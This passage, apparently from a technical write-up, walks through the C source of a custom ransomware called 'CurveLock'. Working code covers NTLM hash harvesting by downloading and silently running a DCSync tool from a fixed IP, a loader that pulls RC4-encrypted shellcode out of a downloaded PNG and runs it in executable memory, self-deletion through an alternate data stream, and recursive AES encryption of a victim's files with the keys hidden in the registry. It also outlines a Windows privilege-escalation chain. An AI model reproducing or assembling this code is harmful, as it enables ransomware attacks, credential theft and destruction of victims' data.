__LINE__, GetLastError());
return FALSE;
}
// 3. Query size of TokenIntegrityLevel info
STATUS = pNtQueryInformationToken(
hToken,
TokenIntegrityLevel,
NULL,
0,
&uReturnLength
);
if (STATUS != STATUS_SUCCESS && STATUS != STATUS_BUFFER_TOO_SMALL) {
printf("[!] NtQueryInformationToken [%d] Failed: 0x%0.8X\n",
__LINE__, STATUS);
return FALSE;
}
// 4. Allocate buffer
pTokenLabel = LocalAlloc(LPTR, uReturnLength);
if (!pTokenLabel) {
printf("[!] LocalAlloc Failed With Error: %d\n", GetLastError());
return FALSE;
}
// 5. Retrieve the actual TokenIntegrityLevel data
STATUS = pNtQueryInformationToken(
hToken,
TokenIntegrityLevel,
pTokenLabel,
uReturnLength,
&uReturnLength
);
if (STATUS != STATUS_SUCCESS) {
printf("[!] NtQueryInformationToken [%d] Failed: 0x%0.8X\n",
__LINE__, STATUS);
goto _END_OF_FUNC;
}
// 6. Compute index of the RID in the SID
uSidCount = (*pRtlSubAuthorityCountSid(pTokenLabel->Label.Sid)) - 1;
// 7. Read the integrity RID
dwIntegrity = *pRtlSubAuthoritySid(
pTokenLabel->Label.Sid,
uSidCount
);
// 8. Map RID to human levels
if (dwIntegrity < SECURITY_MANDATORY_LOW_RID) {
dwIntegrity = THREAD_INTEGRITY_UNKNOWN;
printf("[i] Process Token is at an Unknown Integrity Level\n");
}
else if (dwIntegrity < SECURITY_MANDATORY_MEDIUM_RID) {
dwIntegrity = THREAD_INTEGRITY_LOW;
printf("[i] Process Token is at a Low Integrity Level\n");
}
else if (dwIntegrity < SECURITY_MANDATORY_HIGH_RID) {
dwIntegrity = THREAD_INTEGRITY_MEDIUM;
printf("[i] Process Token is at a Medium Integrity Level\n");
}
else {
dwIntegrity = THREAD_INTEGRITY_HIGH;
printf("[i] Process Token is at a High Integrity Level\n");
}
// 9. Cleanup & return
_END_OF_FUNC:
if (pTokenLabel)
LocalFree(pTokenLabel);
return dwIntegrity;
}
Two-pass query: First call to get required buffer size, second to actually retrieve the TOKEN_MANDATORY_LABEL
.
SID parsing: Uses RtlSubAuthorityCountSid
and RtlSubAuthoritySid
to pick out the last sub-authority (the integrity level RID).
Integrity mapping:
< LOW_RID
→ Unknown
< MEDIUM_RID
→ Low
< HIGH_RID
→ Medium
≥ HIGH_RID
→ High
Resource management: Allocates with LocalAlloc
and frees on exit.
Usage pattern:
HANDLE hToken = GetCurrentToken();
if (hToken) {
BOOL elevated = IsTokenElevated(hToken);
DWORD integrity = QueryTokenIntegrity(hToken);
// … use elevated/integrity …
CloseHandle(hToken);
}
CVE-2024-6769 is a two-stage local privilege escalation vulnerability affecting multiple versions of Microsoft Windows, including Windows 10, Windows 11, and Windows Server editions 2016, 2019, and 2022.
The first stage of the CVE-2024-6769 exploit involves a clever abuse of Windows object namespace manipulation. It uses NtCreateSymbolicLinkObject to create a symbolic link that remaps the root of a drive to a directory fully controlled by the attacker. This drive remapping fools the operating system into resolving file paths incorrectly, making it believe that system files or DLLs reside in the attacker-controlled directory. Once the redirection is in place, the attacker plants a malicious DLL with the same name as a legitimate system DLL expected by a privileged application. When that application attempts to load the DLL, it instead loads the attacker’s version from the fake drive root, resulting in arbitrary code execution under the context of the targeted process, typically at a medium integrity level. This forms the foundation for escalating privileges further.
In the second stage, the exploit targets the Activation Context cache, which is managed by the Client/Server Runtime Subsystem (CSRSS). This cache is used by Windows to optimize the loading of manifest-based applications by storing metadata that dictates how executables should behave in different contexts. The attacker, already executing code via DLL hijacking, poisons this cache by injecting crafted entries that manipulate integrity levels. Through this manipulation, the attacker tricks the system into misclassifying the privilege level of certain operations, effectively allowing a process launched at medium integrity to behave as though it were at high integrity. This technique bypasses User Account Control (UAC), enabling privilege escalation without prompting the user. The result is full administrative privileges on the system, achieved with no user interaction and without triggering traditional defenses.
GetDomainName
BOOL GetDomainName(LPWSTR domainName, DWORD domainNameSize) {
if (GetComputerNameEx(ComputerNameDnsDomain, domainName, &domainNameSize)) {
return TRUE;
}
else {
printf("[!] GetComputerNameEx Failed With Error: %d\n", GetLastError());
return FALSE;
}
}
Purpose: Query the local machine’s DNS domain (e.g., corp.example.com
).
Key Steps:
Calls GetComputerNameEx
with ComputerNameDnsDomain
to fill domainName
buffer.
On success, returns TRUE
; on failure, logs GetLastError()
and returns FALSE
.
Error Handling: Prints a descriptive message if the Windows API call fails, but does not otherwise recover.
parseDCSyncerResult
KeyValuePair* parseDCSyncerResult(const char* result, int* count) {
KeyValuePair* resultArray = NULL;
char line[512];
char currentRDN[256] = { 0 };
int resultCount = 0;
char* resultCopy = _strdup(result);
char* linePtr = strtok(resultCopy, "\n");
while (linePtr != NULL) {
strcpy(line, linePtr);
if (strstr(line, "Object RDN") != NULL) {
char* pos = strchr(line, ':');
if (pos) {
strcpy(currentRDN, pos + 2);
currentRDN[strcspn(currentRDN, "\n")] = 0;
}
}
else if (strstr(line, "Hash NTLM") != NULL) {
char* pos = strchr(line, ':');
if (pos) {
char hashNTLM[256];
strcpy(hashNTLM, pos + 2);
hashNTLM[strcspn(hashNTLM, "\n")] = 0;
resultArray = realloc(
resultArray,
(resultCount + 1) * sizeof(KeyValuePair)
);
strcpy(resultArray[resultCount].objectRDN, currentRDN);
strcpy(resultArray[resultCount].hashNTLM, hashNTLM);
resultCount++;
}
}
linePtr = strtok(NULL, "\n");
}
free(resultCopy);
*count = resultCount;
return resultArray;
}
Purpose: Turn the textual output of DCSyncer into an array of (objectRDN, hashNTLM)
pairs.
Workflow:
Buffer duplication: _strdup
into resultCopy
so strtok
can modify it.
Line iteration: strtok(..., "\n")
to process each line.
RDN capture: When a line contains "Object RDN"
, split at ':'
and store the RHS (trimmed) in currentRDN
.
Hash capture: On lines with "Hash NTLM"
, extract the hash string similarly.
Dynamic array growth:
realloc
the resultArray
for one more KeyValuePair
.
Copy currentRDN
and hashNTLM
into the new slot.
Increment resultCount
.
Cleanup & output:
free(resultCopy)
.
Store the count in *count
and return the allocated array.
Edge Cases:
If no matches occur, returns NULL
with *count == 0
.
Does not check realloc
/strcpy
failures.
DownloadAndExecuteDCSyncer
char* DownloadAndExecuteDCSyncer() {
const char* url = "http://192.168.29.245/dcsync.exe";
const char* filePath = "dcsync.exe";
const char* outputFilePath = "dcsyncer_output.txt";
if (!DownloadFile(url, filePath)) {
printf("[!] Failed to download file: %s\n", filePath);
return NULL;
}
printf("[+] File downloaded successfully: %s\n", filePath);
char command[512];
snprintf(
command, sizeof(command),
"cmd.exe /C %s > %s",
filePath, outputFilePath
);
WinExec(command, SW_HIDE);
DWORD waitTime = 1000;
DWORD maxWaitTime = 60000;
DWORD elapsedTime = 0;
while (elapsedTime < maxWaitTime) {
Sleep(waitTime);
elapsedTime += waitTime;
HANDLE hFile = CreateFileA(
outputFilePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD fileSize = GetFileSize(hFile, NULL);
CloseHandle(hFile);
if (fileSize > 0) {
break;
}
}
}
HANDLE hFile = CreateFileA(
outputFilePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open output file: %s\n", outputFilePath);
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
char* result = (char*)malloc(fileSize + 1);
if (!result) {
printf("[!] Failed to allocate memory for result\n");
CloseHandle(hFile);
return NULL;
}
DWORD bytesRead;
if (!ReadFile(hFile, result, fileSize, &bytesRead, NULL) ||
bytesRead != fileSize) {
printf("[!] Failed to read output file\n");
free(result);
CloseHandle(hFile);
return NULL;
}
result[fileSize] = '\0';
CloseHandle(hFile);
if (!DeleteFileA(outputFilePath)) {
printf("[!] Failed to delete output file: %s\n", outputFilePath);
}
return result;
}
Purpose: Fetch a DCSync helper exe, run it hidden, wait for its textual output, then return that text.
Detailed Steps:
Download: DownloadFile(url, filePath)
(from urlmon.lib
).
Execute:
Build cmd.exe /C dcsync.exe > dcsyncer_output.txt
.
WinExec(..., SW_HIDE)
to suppress a console window.
Polling loop (up to 60 s):
Sleep 1 s per iteration.
Try CreateFileA
on the output file; if exists and nonzero size, proceed.
Read-back:
CreateFileA
for read.
malloc
a buffer sized fileSize + 1
.
ReadFile
the entire contents, null-terminate.
Cleanup:
Close handle.
Delete the temp output file.
Error Handling: Logs failures at each stage and returns NULL
on error.
DoLateralMovement
BOOL DoLateralMovement() {
printf("[+] Lateral Movement Started\n");
WCHAR domainName[256];
DWORD domainNameSize = _countof(domainName);
if (GetDomainName(domainName, domainNameSize)) {
wprintf(L"[+] Domain Name: %s\n", domainName);
} else {
printf("[!] Failed to retrieve domain name\n");
}
char* dcsyncerResult = DownloadAndExecuteDCSyncer();
if (!dcsyncerResult) {
printf("[!] Failed to execute DCSyncer\n");
return FALSE;
}
int count = 0;
KeyValuePair* resultArray =
parseDCSyncerResult(dcsyncerResult, &count);
printf("[i] Printing Results From DcSyncer\n");
printf("[i] Found %d results\n", count);
if (resultArray) {
for (int i = 0; i < count; i++) {
printf(
"%s\t:\t%s\n",
resultArray[i].objectRDN,
resultArray[i].hashNTLM
);
}
free(resultArray);
}
free(dcsyncerResult);
return TRUE;
}
Purpose: High-level routine that:
Reports the host’s domain.
Spawns and captures DCSyncer output.
Parses and prints any harvested NTLM hashes.
Flow:
Domain info via GetDomainName
.
Tool run via DownloadAndExecuteDCSyncer
.
Parsing via parseDCSyncerResult
.
Result display in a simple printf
loop.
Resource Management: Frees both the text buffer and the parsed array before returning.
CurveLock automatically renames the running executable into an alternate NTFS data stream and then marks it for deletion. By using SetFileInformationByHandle
with FileRenameInfo
and FileDispositionInfo
, it ensures the binary cleans up after itself once its handle is closed, without spawning any external process.
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T StreamLength = wcslen(NewStream) * sizeof(wchar_t);
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + StreamLength;
…
}
Variable setup
szPath
: buffer for full module path (wide chars).
Delete
: structure to mark file deletion.
pRename
: pointer to dynamically-built FILE_RENAME_INFO
.
NewStream
: the target data-stream name (e.g. ":DEL"
).
sRename
: total size needed for FILE_RENAME_INFO
+ stream name.
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) { /* handle error */ }
ZeroMemory(&Delete, sizeof(Delete));
Purpose: Build a FILE_RENAME_INFO
blob with space for the new stream name.
HEAP_ZERO_MEMORY
: Zeroes all fields, avoiding uninitialized data.
Delete.DeleteFile = TRUE;
pRename->FileNameLength = StreamLength;
RtlCopyMemory(pRename->FileName, NewStream, StreamLength);
Delete.DeleteFile = TRUE
– Tells FileDispositionInfo
to delete on close.
pRename
fields
– FileNameLength
: byte-length of the new name.
– FileName
: copy the wide-string NewStream
(including the leading colon).
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
/* error */
}
GetModuleFileNameW(NULL, …)
returns the full path of the running EXE.
hFile = CreateFileW(
szPath,
DELETE | SYNCHRONIZE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0, NULL
);
if (hFile == INVALID_HANDLE_VALUE) { /* error */ }
SetFileInformationByHandle(
hFile,
FileRenameInfo,
pRename,
(DWORD)sRename
);
CloseHandle(hFile);
Open with DELETE | SYNCHRONIZE
and FILE_SHARE_READ
to allow pending deletes.
FileRenameInfo
call:
Atomically renames C:\path\app.exe
→ C:\path\app.exe:NewStream
, effectively hiding the main data.
Closing the handle finalizes the rename.
hFile = CreateFileW(
szPath,
DELETE | SYNCHRONIZE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0, NULL
);
// Error check omitted for brevity
SetFileInformationByHandle(
hFile,
FileDispositionInfo,
&Delete,
sizeof(Delete)
);
CloseHandle(hFile);
Re-open the same path (now referring to the unnamed primary stream).
FileDispositionInfo
:
Delete.DeleteFile == TRUE
ensures the file is removed when this handle closes.
No external processes are needed; Windows garbage-collects the file once all handles are gone.
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
Free the heap-allocated rename info.
Return success if all operations completed without error.
This module automates the end-to-end retrieval, decryption, and execution of encryptor payload stored inside a PNG:
Download a PNG from a remote URL.
Read the PNG into memory and parse its custom “IDAT” chunks to extract and RC4-decrypt the embedded payload.
Allocate executable memory via a local file mapping and copy the decrypted shellcode into it.
Spawn a thread to execute the shellcode in-process.
ExtractDecryptedPayload
BOOL ExtractDecryptedPayload(
IN PBYTE pPngFileBuffer,
IN SIZE_T sPngFileSize,
OUT PBYTE* ppDecryptedBuff,
OUT PSIZE_T psDecryptedBuffLength
) {
SIZE_T Offset = BYTES_TO_SKIP,
sDecPayloadSize = 0;
DWORD uSectionLength = 0;
CHAR pSectionType[CHUNK_TYPE_SIZE + 1] = { 0 };
PBYTE pRc4Key[RC4_KEY_SIZE] = { 0 };
PBYTE pSectionBuffer = NULL,
pTmpPntr = NULL,
pDecPayload = NULL;
UINT32 uCRC32Hash = 0;
BOOL bFoundHash = FALSE;
// 1. Verify PNG signature
if (*(ULONG*)pPngFileBuffer != PNG_SIGNATURE) {
printf("[!] Input File Is Not A PNG File\n");
return FALSE;
}
// 2. Iterate all chunks until IEND
while (Offset < sPngFileSize) {
// a) Read chunk length + type
uSectionLength = read_be32(pPngFileBuffer + Offset);
Offset += 4;
memcpy(pSectionType, pPngFileBuffer + Offset, CHUNK_TYPE_SIZE);
Offset += CHUNK_TYPE_SIZE;
// b) Point to the chunk data
pSectionBuffer = pPngFileBuffer + Offset;
Offset += uSectionLength;
// c) Read the CRC that follows
uCRC32Hash = read_be32(pPngFileBuffer + Offset);
Offset += 4;
// d) Break if this is the IEND chunk
if (uCRC32Hash == IEND_HASH)
break;
// e) Detect the “marker” CRC
if (uCRC32Hash == MARKED_IDAT_HASH) {
bFoundHash = TRUE;
continue;
}
// f) Once marker found, every subsequent IDAT holds encrypted payload
if (bFoundHash) {
// i. Extract RC4 key + encrypted data
memcpy(pRc4Key, pSectionBuffer, RC4_KEY_SIZE);
pSectionBuffer += RC4_KEY_SIZE;
uSectionLength -= RC4_KEY_SIZE;
// ii. Decrypt into temporary buffer
pTmpPntr = LocalAlloc(LPTR, uSectionLength);
Rc4EncryptDecrypt(pSectionBuffer, uSectionLength,
pRc4Key, RC4_KEY_SIZE, pTmpPntr);
// iii. Append to growing plaintext buffer
sDecPayloadSize += uSectionLength;
if (!pDecPayload)
pDecPayload = LocalAlloc(LPTR, sDecPayloadSize);
else
pDecPayload = LocalReAlloc(pDecPayload,
sDecPayloadSize,
LMEM_MOVEABLE|LMEM_ZEROINIT);
memcpy(pDecPayload + (sDecPayloadSize - uSectionLength),
pTmpPntr, uSectionLength);
// iv. Clean up temp
SecureZeroMemory(pTmpPntr, uSectionLength);
LocalFree(pTmpPntr);
}
}
// 3. Report failure if no marker found
if (!bFoundHash)
printf("[!] Could Not Find IDAT Section With Hash: 0x%08X\n", MARKED_IDAT_HASH);
// 4. Return the assembled plaintext
*ppDecryptedBuff = pDecPayload;
*psDecryptedBuffLength = sDecPayloadSize;
return bFoundHash;
}
Signature Check: Confirms the first 4 bytes match the PNG magic.
Chunk Parsing Loop:
Reads each chunk’s big-endian length, 4-byte type, data, and CRC.
Stops at the standard IEND
CRC.
Marker Detection:
Looks for a special MARKED_IDAT_HASH
CRC to know when to start extracting.
Decryption Logic:
Reads a 16-byte RC4 key from the start of each payload chunk.
RC4-decrypts the remainder into a temp buffer.
Grows a single pDecPayload
buffer via LocalAlloc
/LocalReAlloc
.
Appends each decrypted slice sequentially.
Zeroes and frees the temporary buffer.
Output: Returns the decrypted buffer and its length, or FALSE
if the marker was never found.
ReadFileFromDiskA
BOOL ReadFileFromDiskA(
IN LPCSTR cFileName,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwFileSize, dwBytesRead;
PBYTE pBaseAddress = NULL;
// 1. Open for read
hFile = CreateFileA(
cFileName, GENERIC_READ, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed: %d\n", GetLastError());
goto Cleanup;
}
// 2. Query file size
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
printf("[!] GetFileSize Failed: %d\n", GetLastError());
goto Cleanup;
}
// 3. Allocate a buffer
pBaseAddress = HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize
);
if (!pBaseAddress) {
printf("[!] HeapAlloc Failed: %d\n", GetLastError());
goto Cleanup;
}
// 4. Read entire file
if (!ReadFile(
hFile, pBaseAddress, dwFileSize,
&dwBytesRead, NULL
) || dwBytesRead != dwFileSize) {
printf(
"[!] ReadFile Failed: %d (read %u of %u)\n",
GetLastError(), dwBytesRead, dwFileSize
);
HeapFree(GetProcessHeap(), 0, pBaseAddress);
pBaseAddress = NULL;
goto Cleanup;
}
// 5. Return on success
*ppFileBuffer = pBaseAddress;
*pdwFileSize = dwFileSize;
Cleanup:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return (pBaseAddress && *pdwFileSize) ? TRUE : FALSE;
}
Open & Validate: Uses CreateFileA
and GetFileSize
.
Buffer Allocation: Zero-initialized via HeapAlloc
.
Full Read: Ensures the exact byte count is read.
Cleanup Label: Centralized error path that closes the handle and frees the buffer if needed.
LocalMappingInjection
BOOL LocalMappingInjection(
IN PBYTE pShellcodeAddress,
IN SIZE_T sShellcodeSize,
OUT PBYTE* ppInjectionAddress
) {
HANDLE hMappingFile = NULL;
PBYTE pMappingAddress = NULL;
// 1. Validate inputs
if (!pShellcodeAddress || !sShellcodeSize || !ppInjectionAddress)
return FALSE;
// 2. Create a RWX file mapping of desired size
hMappingFile = CreateFileMappingW(
INVALID_HANDLE_VALUE, NULL,
PAGE_EXECUTE_READWRITE,
0, sShellcodeSize, NULL
);
if (!hMappingFile) {
printf("[!] CreateFileMappingW Failed: %d\n", GetLastError());
return FALSE;
}
printf("[i] Mapping File Created\n");
// 3. Map view with EXECUTE+WRITE permissions
pMappingAddress = MapViewOfFile(
hMappingFile,
FILE_MAP_WRITE | FILE_MAP_EXECUTE,
0, 0, sShellcodeSize
);
if (!pMappingAddress) {
printf("[!] MapViewOfFile Failed: %d\n", GetLastError());
CloseHandle(hMappingFile);
return FALSE;
}
printf("[i] Memory Mapped at: %p\n", pMappingAddress);
// 4. Copy the shellcode into executable region
*ppInjectionAddress = memcpy(
pMappingAddress, pShellcodeAddress, sShellcodeSize
);
// 5. Cleanup handle (view remains valid)
CloseHandle(hMappingFile);
return (*ppInjectionAddress) ? TRUE : FALSE;
}
File Mapping: Creates an in-memory RWX region without touching disk.
MapView: Requests both write and execute on the mapped view.
Injection: memcpy
copies the decrypted shellcode into the mapping.
Thread-Safety: Returns the injected address for later execution.
fetchPayload
BOOL fetchPayload() {
PBYTE pPngFileBuffer = NULL,
pShellcodeBuffer = NULL;
SIZE_T sPngFileSize = 0,
sShellcodeSize = 0;
printf("[i] Extracting Payload from PNG File\n");
// 1. Download the PNG
LPCSTR url = "http://192.168.29.245/payload.png";
LPCSTR localFile = "payload.png";
if (!DownloadFile(url, localFile))
return FALSE;
// 2. Read PNG into memory
if (!ReadFileFromDiskA(localFile, &pPngFileBuffer, (PDWORD)&sPngFileSize))
return FALSE;
// 3. Parse & decrypt shellcode
if (!ExtractDecryptedPayload(
pPngFileBuffer, sPngFileSize,
&pShellcodeBuffer, &sShellcodeSize
)) return FALSE;
// 4. Inject into executable mapping
printf("[i] Injecting Shellcode Into Local Mapped Memory\n");
PBYTE pInjectionAddress = NULL;
if (!LocalMappingInjection(
pShellcodeBuffer, sShellcodeSize,
&pInjectionAddress
)) {
printf("[!] LocalMappingInjection Failed: %d\n", GetLastError());
return FALSE;
}
// 5. Execute via new thread
HANDLE hThread = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)pInjectionAddress,
NULL, 0, NULL
);
if (!hThread) {
printf("[!] CreateThread Failed: %d\n", GetLastError());
return FALSE;
}
// 6. Wait & clean up
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(pInjectionAddress, 0, MEM_RELEASE);
return TRUE;
}
Orchestrator: Calls each helper in sequence.
Networking: Uses DownloadFile
(from urlmon
) to grab the PNG.
Execution: Spawns a thread to run the injected shellcode, then waits indefinitely.
Resource Cleanup: Frees memory and closes handles after execution.
Local mapped injection is done through a sacrificial thread so that in the rare event it gets detected, the thread can be killed mid-execution later. This is an optional implementation that I haven't done yet.
ECC with Diffie-Hellman key exchange is used to generate the AES-256 keys.
Each file in encrypted with it's own AES-256 key and the keys are stored in the registry under - "HKCU_CURRENT_USER\CONTROL PANEL"
Elliptic Curve Cryptography (ECC) Operations
ECC is used in the code to securely generate a shared secret between two parties (na and nb). This secret is then used to derive the AES key.
The elliptic curve is defined by the equation:
So, the encryptor implements :
Defines elliptic-curve parameters and AES constants via macros and structs.
Performs basic ECC operations (pointAdd
, pointMultiply
) over a small prime field.
Derives a shared ECDH secret, hashes it with SHA-256 to form a 256-bit AES key.
Stores the AES key in the registry under a per-file subkey.
Encrypts arbitrary files (up to 100 MB) with AES-256-CBC, prepending a 4-byte signature and IV.
Walks a directory tree recursively, encrypting each non-blacklisted file and writing out <filename>.CurveLock
.
mod
and modInverse
int mod(int a, int b) {
int r = a % b;
return r < 0 ? r + b : r;
}
int modInverse(int a, int m) {
a = mod(a, m);
for (int x = 1; x < m; x++) {
if (mod(a * x, m) == 1) {
return x;
}
}
return -1;
}
mod
Computes a mod b
in the range [0, b-1]
, fixing C’s negative-remainder behavior.
modInverse
Brute-forces the modular inverse of a
mod m
: finds x
such that (a*x) % m == 1
.
Returns -1
if no inverse exists (rare for prime modulus).
pointAdd
Point pointAdd(Point P, Point Q) {
if (P.x == Q.x && P.y == Q.y) {
// Point doubling formula
int s = mod((3 * P.x * P.x + a) * modInverse(2 * P.y, p), p);
int x = mod(s * s - 2 * P.x, p);
int y = mod(s * (P.x - x) - P.y, p);
return (Point){ x, y };
} else {
// Point addition formula
int s = mod((Q.y - P.y) * modInverse(Q.x - P.x, p), p);
int x = mod(s * s - P.x - Q.x, p);
int y = mod(s * (P.x - x) - P.y, p);
return (Point){ x, y };
}
}
Purpose: Implements EC point addition over curve y2=x3+ax+b mod py^2 = x^3 + ax + b \bmod py2=x3+ax+bmodp.
Doubling: If P == Q
, uses the tangent slope λ=(3x2+a)/(2y)\lambda = (3x^2 + a) / (2y)λ=(3x2+a)/(2y).
Addition: Otherwise, λ=(yQ−yP)/(xQ−xP)\lambda = (y_Q - y_P)/(x_Q - x_P)λ=(yQ−yP)/(xQ−xP).
Uses mod
& modInverse
to stay within field Fp\mathbb{F}_pFp.
pointMultiply
Point pointMultiply(Point P, int n) {
Point R = { 0, 0 }; // point at infinity
Point Q = P;
while (n > 0) {
if (n & 1) {
R = (R.x==0 && R.y==0) ? Q : pointAdd(R, Q);
}
Q = pointAdd(Q, Q);
n >>= 1;
}
return R;
}
Purpose: Fast “double-and-add” scalar multiplication nPnPnP.
Algorithm:
Initializes accumulator R
at infinity (0,0
).
For each bit of n
:
If bit is 1, R = R + Q
.
Then Q = Q + Q
.
Result: Returns the EC point n⋅Pn \cdot Pn⋅P.
WriteShellcodeToRegistry
(Key Storage)BOOL WriteShellcodeToRegistry(
IN BYTE* pShellcode,
IN DWORD dwShellcodeSize,
IN LPCSTR lpSubKey
) {
HKEY hKey = NULL;
if (RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY,
0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
printf("[!] RegOpenKeyExA Failed …\n");
return FALSE;
}
if (RegSetValueExA(hKey, lpSubKey, 0, REG_BINARY,
pShellcode, dwShellcodeSize) != ERROR_SUCCESS) {
printf("[!] RegSetValueExA Failed …\n");
RegCloseKey(hKey);
return FALSE;
}
printf("[+] DONE !\n");
RegCloseKey(hKey);
return TRUE;
}
Purpose: Saves binary data (here, the derived AES key) under HKCU\Control Panel\<lpSubKey>
.
Steps:
Opens or creates the Control Panel
key with KEY_SET_VALUE
.
Writes a REG_BINARY
value named <lpSubKey>
.
Use: Called in ReplaceWithEncryptedFile
to persist each file’s AES key.
Aes256EncryptBuffer
(AES-CBC)BOOL Aes256EncryptBuffer(
BYTE* pbKey, BYTE* pbIV,
BYTE* pbData, DWORD cbData,
BYTE* pbEncryptedData, DWORD* pcbEncryptedData
) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
PBYTE pbKeyObject;
DWORD cbKeyObject, cbDataOut;
// 1. Open AES provider
BCryptOpenAlgorithmProvider(&hAlg,
BCRYPT_AES_ALGORITHM, NULL, 0);
// 2. Query key-object size
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&cbKeyObject, sizeof(cbKeyObject), &cbDataOut, 0);
// 3. Allocate key object
pbKeyObject = HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
// 4. Generate the symmetric key
BCryptGenerateSymmetricKey(hAlg, &hKey,
pbKeyObject, cbKeyObject, pbKey, AES_KEY_SIZE, 0);
// 5. Encrypt with CBC+PKCS#7
BCryptEncrypt(hKey, pbData, cbData, NULL,
pbIV, AES_BLOCK_SIZE,
pbEncryptedData, *pcbEncryptedData,
&cbDataOut, BCRYPT_BLOCK_PADDING);
*pcbEncryptedData = cbDataOut;
// 6. Cleanup
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
Purpose: Encrypts cbData
bytes in pbData
with AES-256-CBC+padding.
Procedure:
Opens the AES algorithm provider.
Retrieves the internal key-object size.
Allocates and initializes it via BCryptGenerateSymmetricKey
.
Calls BCryptEncrypt
with the provided IV (pbIV
).
Outputs: Encrypted blob and its length.
ReplaceWithEncryptedFile
BOOL ReplaceWithEncryptedFile(
IN LPWSTR szFilePathToEncrypt,
int fileIndex
) {
// 1. Reject missing path
if (!szFilePathToEncrypt) return FALSE;
// 2. Build encrypted filename: append ".CurveLock"
WCHAR* pwcEncryptedFilePath = malloc(...);
swprintf_s(pwcEncryptedFilePath, ..., L"%s%s",
szFilePathToEncrypt, ENCRYPTED_FILE_EXTENSION);
// 3. Skip blacklisted extensions
if (wcscmp(ext, L".exe")==0 || ... ) {
printf("[!] Blacklisted Extension\n");
goto End;
}
// 4. Open source & dest files
hDest = CreateFileW(pwcEncryptedFilePath, CREATE_NEW, …);
hSrc = CreateFileW(szFilePathToEncrypt,
GENERIC_READ|WRITE, FILE_FLAG_DELETE_ON_CLOSE, …);
// 5. Read entire source into memory
dwFileSize = GetFileSize(hSrc);
buf = LocalAlloc(..., dwFileSize);
ReadFile(hSrc, buf, dwFileSize, &bytesRead, NULL);
// 6. Check signature to avoid re-encryption
if (*(ULONG*)buf == ENC_FILE_SIGNATURE) {
printf("[!] File Already Encrypted\n");
goto End;
}
// 7. ECDH key exchange
srand(time(NULL));
na = rand()%150+1; nb = rand()%150+1;
Pa = pointMultiply(alpha, na);
Pb = pointMultiply(alpha, nb);
Sa = pointMultiply(Pb, na);
Sb = pointMultiply(Pa, nb);
if (Sa.x!=Sb.x || Sa.y!=Sb.y) {
printf("[!] ECDH failed\n");
goto End;
}
// 8. Derive AES key = SHA256(str(Sa.x)+str(Sa.y))
BYTE sharedSecret[64];
snprintf((char*)sharedSecret, sizeof(sharedSecret),
"%d%d", Sa.x, Sa.y);
BCryptHash(..., sharedSecret, sizeof(sharedSecret),
pbKey, AES_KEY_SIZE);
// 9. Store key in registry under "CurveLock_<fileIndex>"
WriteShellcodeToRegistry(pbKey, AES_KEY_SIZE, regKeyName);
// 10. Encrypt file in memory
cbEncrypted = dwFileSize + AES_BLOCK_SIZE;
Aes256EncryptBuffer(pbKey, pbIV, buf, dwFileSize,
encBuf + headerSize, &cbEncrypted);
// 11. Prepend header (signature + IV)
header.Signature = "CVLK";
memcpy(encBuf, &header, sizeof(header));
totalSize = cbEncrypted + sizeof(header);
// 12. Write encrypted buffer to dest, flush & close
WriteFile(hDest, encBuf, totalSize, &bytesWritten, NULL);
FlushFileBuffers(hDest);
SetEndOfFile(hDest);
bResult = TRUE;
End:
// Cleanup handles, frees, return result
return bResult;
}
Signature Check: Avoids encrypting files that already start with 'CVLK'
.
ECDH Exchange: Generates two random scalars, computes shared point, hashes it to derive the AES key.
Registry Key: Persists each key under "CurveLock_<index>"
.
Binary Format:
cssCopyEdit[4-byte “CVLK”][16-byte IV][ciphertext…]
EncryptFilesInGivenDir
BOOL EncryptFilesInGivenDir(IN LPCWSTR szDirectoryPath, int* fileIndex) {
WCHAR szPattern[MAX_PATH], szFullPath[MAX_PATH];
WIN32_FIND_DATAW data;
HANDLE hFind = FindFirstFileW(pattern, &data);
do {
if (is “.” or “..”) continue;
swprintf_s(fullpath, L"%s\\%s", szDirectoryPath, data.cFileName);
if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// Recurse into subdirectory
EncryptFilesInGivenDir(fullpath, fileIndex);
} else {
// Encrypt the single file
printf("> Encrypting File: %ws … ", fullpath);
ReplaceWithEncryptedFile(fullpath, (*fileIndex)++);
printf("[+] DONE\n");
}
} while (FindNextFileW(hFind, &data));
